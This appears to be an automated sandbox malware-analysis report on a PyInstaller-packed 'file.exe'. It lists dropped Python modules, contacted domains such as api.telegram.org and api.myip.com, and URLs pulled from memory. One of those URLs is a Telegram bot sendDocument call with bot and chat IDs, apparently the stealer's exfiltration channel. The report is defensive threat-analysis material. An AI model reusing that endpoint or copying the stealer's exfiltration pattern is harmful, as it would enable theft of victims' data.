C:\Users\user\AppData\Local\Temp\_MEI29922\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\_wmi.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\charset_normalizer\md.cp313-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\charset_normalizer\md__mypyc.cp313-win_amd64.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\libssl-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\pyexpat.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\python313.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\pywin32_system32\pywintypes313.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI29922\win32\win32crypt.pyd	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
s-part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
api.myip.com	104.26.8.59	true	false	high
sb.scorecardresearch.com	18.165.220.106	true	false	high
www.google.com	142.250.181.100	true	false	high
api.telegram.org	149.154.167.220	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application%2Fx-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-2.2.2&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732223371000&w=0&anoncknm=app_anon	false		high
https://assets2.msn.com/bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://github.com/urllib3/urllib3/issues/29200	file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	false	high
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-108r1.pdf	file.exe, 00000001.00000003.2118660997.0000021481A80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120640970.0000021481A9E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120458140.0000021481A98000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	false	high
https://github.com/astral-sh/ruff	file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/botz	file.exe, 00000001.00000003.1717288320.00000214FFC64000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717864531.00000214FFC84000.00000004.00000020.00020000.00000000.sdmp	false	high
https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packages	file.exe, 00000001.00000002.2145583592.00000214FF880000.00000004.00001000.00020000.00000000.sdmp	false	high
https://github.com/mhammond/pywin32	file.exe, file.exe, 00000001.00000002.2153038343.00007FFE0C0C2000.00000002.00000001.01000000.0000002C.sdmp, file.exe, 00000001.00000002.2153238930.00007FFE0CFAF000.00000002.00000001.01000000.0000002B.sdmp	false	high
https://github.com/python/importlib_metadata/actions/workflows/main.yml/badge.svg	file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/python/importlib_metadata	file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/charliermarsh/ruff/main/assets	file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/python/importlib_metadata/issues	file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	false	high
http://repository.swisssign.com/0	file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114732194.00000214FFA0B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp	false	high
https://setuptools.pypa.io/en/latest/	file.exe, 00000001.00000002.2138700348.0000021481710000.00000004.00001000.00020000.00000000.sdmp	false	high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	file.exe, 00000001.00000002.2142886417.00000214FEAD4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106756868.00000214FEA98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118042942.00000214FEACB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109007109.00000214FEAC6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2128059773.00000214FF24C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2143783583.00000214FF24C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2128304849.00000214FEACF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126900082.00000214FF249000.00000004.00000020.00020000.00000000.sdmp	false	high
https://wheel.readthedocs.io/en/stable/news.html	file.exe, 00000000.00000003.1697117929.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://packaging.python.org/en/latest/specifications/recording-installed-packages/#the-record-file	file.exe, 00000001.00000003.2110031802.00000214FFB16000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105909756.00000214FFB13000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1720121317.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146402786.00000214FFB1A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1718518630.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126663400.00000214FFB16000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://importlib-metadata.readthedocs.io/	file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://tools.ietf.org/html/rfc2388#section-4.4	file.exe, 00000001.00000003.2112994189.00000214FFBDF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104502886.00000214FFBDD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2119048801.00000214FFBE0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1721247684.00000214FFB8A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110277873.00000214FFBDE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106175292.00000214FFBDE000.00000004.00000020.00020000.00000000.sdmp	false	high
https://packaging.python.org/en/latest/specifications/core-metadata/	file.exe, 00000001.00000002.2138700348.0000021481710000.00000004.00001000.00020000.00000000.sdmp	false	high
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	file.exe, 00000001.00000003.2137051242.00000214FF761000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2134871251.00000214FF761000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2102717771.00000214FF598000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107105975.00000214FF741000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1715202312.00000214FF751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1713395830.00000214FF751000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1714909364.00000214FF750000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2108261439.00000214FF742000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1711533233.00000214FF761000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110787152.00000214FF756000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2117848011.00000214FF75C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107053201.00000214FF72E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111485567.00000214FF75A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1714479771.00000214FF74A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1710765564.00000214FF761000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104292483.00000214FF72D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1717951813.00000214FF74A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1712356307.00000214FF761000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109211449.00000214FF74F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1715930556.00000214FF74A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/pypa/packaging	file.exe, 00000001.00000002.2147814194.00000214FFE80000.00000004.00001000.00020000.00000000.sdmp	false	high
https://packaging.python.org/en/latest/specifications/entry-points/#file-format	file.exe, 00000001.00000003.2110031802.00000214FFB16000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105909756.00000214FFB13000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1720121317.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146402786.00000214FFB1A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1718518630.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126663400.00000214FFB16000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFB0D000.00000004.00000020.00020000.00000000.sdmp	false	high
https://readthedocs.org/projects/importlib-metadata/badge/?version=latest	file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.dhimyotis.com/certignarootca.crlG	file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114974733.00000214FFA44000.00000004.00000020.00020000.00000000.sdmp	false	high
https://refspecs.linuxfoundation.org/elf/gabi4	file.exe, 00000001.00000002.2147814194.00000214FFE80000.00000004.00001000.00020000.00000000.sdmp	false	high
https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packages0	file.exe, 00000001.00000002.2145583592.00000214FF880000.00000004.00001000.00020000.00000000.sdmp	false	high
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	false	high
http://cacerts.digi	file.exe, 00000000.00000003.1698625559.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1688855381.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://blog.jaraco.com/skeleton	file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://tools.ietf.org/html/rfc3610	file.exe, 00000001.00000003.2118660997.0000021481A80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2120458140.0000021481A98000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/platformdirs/platformdirs	file.exe, 00000001.00000002.2138437431.0000021481510000.00000004.00001000.00020000.00000000.sdmp	false	high
https://peps.python.org/pep-0205/	file.exe, 00000001.00000003.1704045249.00000214FF241000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2145484367.00000214FF780000.00000004.00001000.00020000.00000000.sdmp	false	high
http://crl.dhimyotis.com/certignarootca.crl	file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146001431.00000214FFA4F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114974733.00000214FFA44000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ocsp.accv.es	file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/pypa/.github/blob/main/CODE_OF_CONDUCT.md	file.exe, 00000000.00000003.1697117929.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://setuptools.pypa.io/en/latest/references/keywords.html#keyword-namespace-packagesr;	file.exe, 00000001.00000003.1709784973.00000214FF9C0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1709627369.00000214FF981000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1709627369.00000214FF9C0000.00000004.00000020.00020000.00000000.sdmp	false	high
https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename	file.exe, 00000001.00000002.2143166246.00000214FEFE0000.00000004.00001000.00020000.00000000.sdmp	false	high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy	file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp	false	high
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	file.exe, 00000001.00000002.2143166246.00000214FF064000.00000004.00001000.00020000.00000000.sdmp	false	high
https://httpbin.org/get	file.exe, 00000001.00000003.2130839175.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2123530256.00000214FF637000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2102717771.00000214FF598000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFB3F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2137480353.00000214FFB6A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2138836224.0000021481810000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146114251.00000214FFAB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105574677.00000214FF5CA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106351524.00000214FFAA6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146673781.00000214FFB72000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105385058.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2137845154.00000214FFB71000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118227425.00000214FFB61000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110578380.00000214FFB4A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121594121.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFAA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2121798487.00000214FFBB4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111364823.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107513071.00000214FF614000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109613829.00000214FF630000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126122145.00000214FFAA7000.00000004.00000020.00020000.00000000.sdmp	false	high
https://packaging.python.org/en/latest/specifications/entry-points/	file.exe, 00000001.00000002.2138569145.0000021481610000.00000004.00001000.00020000.00000000.sdmp	false	high
http://cacerts.dig	file.exe, 00000000.00000003.1688704118.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1687289332.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://setuptools.pypa.io/en/latest/pkg_resources.html#basic-resource-access	file.exe, 00000001.00000003.1709784973.00000214FF9C0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1712550325.00000214FF5A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2102717771.00000214FF598000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1713684540.00000214FF598000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105574677.00000214FF5CA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1711744635.00000214FF5A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1709711006.00000214FF748000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1713914068.00000214FF5A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1714479771.00000214FF598000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1709687097.00000214FF75A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110113331.00000214FF5CD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1709627369.00000214FF9C0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2115614251.00000214FF5CD000.00000004.00000020.00020000.00000000.sdmp	false	high
https://pypi.org/project/build/).	file.exe, 00000001.00000002.2138569145.0000021481610000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.2138700348.0000021481710000.00000004.00001000.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot8095725853/senddocument?chat_id=7027613045%3aaagx3rpo-1uhb195if6jixakjyp	file.exe, 00000001.00000002.2141249438.0000021482314000.00000004.00001000.00020000.00000000.sdmp	false	high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code	file.exe, 00000001.00000002.2143166246.00000214FEFE0000.00000004.00001000.00020000.00000000.sdmp	false	high
https://wwww.certigna.fr/autorites/0m	file.exe, 00000001.00000003.2109315370.00000214FF9EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107454781.00000214FF9E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107397737.00000214FF9E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114304497.00000214FFA2B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2146001431.00000214FFA4F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FF9CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105994467.00000214FF9CF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114974733.00000214FFA44000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/pypa/wheel	file.exe, 00000000.00000003.1697117929.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.python.org/dev/peps/pep-0427/	file.exe, 00000000.00000003.1697117929.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	file.exe, 00000001.00000002.2142886417.00000214FEAD4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2106756868.00000214FEA98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118042942.00000214FEACB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109007109.00000214FEAC6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2128059773.00000214FF24C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2143783583.00000214FF24C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2128304849.00000214FEACF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2126900082.00000214FF249000.00000004.00000020.00020000.00000000.sdmp	false	high
http://foo/bar.tgz	file.exe, 00000001.00000002.2147814194.00000214FFE80000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000003.1716455558.00000214FFABC000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/python/cpython/issues/86361.	file.exe, 00000001.00000003.1715930556.00000214FF648000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104354364.00000214FF67F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105284932.00000214FF709000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2102717771.00000214FF598000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2105155606.00000214FF68F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107596886.00000214FF70D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1715063817.00000214FF6FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1714479771.00000214FF6FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118404849.00000214FF70F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1712550325.00000214FF5E4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104432399.00000214FF683000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1713395830.00000214FF6FF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1712550325.00000214FF589000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1719024425.00000214FF637000.00000004.00000020.00020000.00000000.sdmp	false	high
https://httpbin.org/	file.exe, 00000001.00000003.2104762804.00000214FFB8A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://wwww.certigna.fr/autorites/	file.exe, 00000001.00000002.2147553373.00000214FFD5C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2114067886.00000214FFD3F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2101914863.00000214FFD22000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118513741.00000214FFD5C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www-cs-faculty.stanford.edu/~knuth/fasc2a.ps.gz	file.exe, 00000001.00000003.1715930556.00000214FF648000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2102717771.00000214FF598000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2116206020.00000214FF73A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107053201.00000214FF72E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2109747468.00000214FF731000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2132429266.00000214FF73C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2108710356.00000214FF72E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104292483.00000214FF72D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1719024425.00000214FF637000.00000004.00000020.00020000.00000000.sdmp	false	high
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module	file.exe, 00000001.00000002.2143166246.00000214FEFE0000.00000004.00001000.00020000.00000000.sdmp	false	high
https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches	file.exe, 00000001.00000002.2143166246.00000214FEFE0000.00000004.00001000.00020000.00000000.sdmp	false	high
https://docs.python.org/3/reference/import.html#finders-and-loaders	file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/pypa/setuptools/issues/new?template=distutils-deprecation.yml0	file.exe, 00000001.00000002.2138437431.0000021481510000.00000004.00001000.00020000.00000000.sdmp	false	high
https://img.shields.io/badge/skeleton-2024-informational	file.exe, 00000000.00000003.1695061824.000001F724DC5000.00000004.00000020.00020000.00000000.sdmp	false	high
https://packaging.python.org/en/latest/guides/packaging-namespace-packages/.	file.exe, 00000001.00000002.2138700348.0000021481710000.00000004.00001000.00020000.00000000.sdmp	false	high
https://packaging.python.org/en/latest/specifications/pyproject-toml/#declaring-project-metadata-the	file.exe, 00000001.00000002.2146441900.00000214FFB3F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFB3F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1718518630.00000214FFB3F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2113962803.00000214FFB3F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1721247684.00000214FFB3F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	file.exe, 00000001.00000003.1722215740.00000214FFC97000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2104230165.00000214FFC8D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103643359.00000214FFB3F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2117528067.00000214FFC92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2107937864.00000214FFC8E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2110578380.00000214FFB4A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2147301932.00000214FFC98000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2103312630.00000214FFC7A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2118761418.00000214FFC92000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1721247684.00000214FFB3F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2122249938.00000214FFC94000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.2111847758.00000214FFC91000.00000004.00000020.00020000.00000000.sdmp	false	high
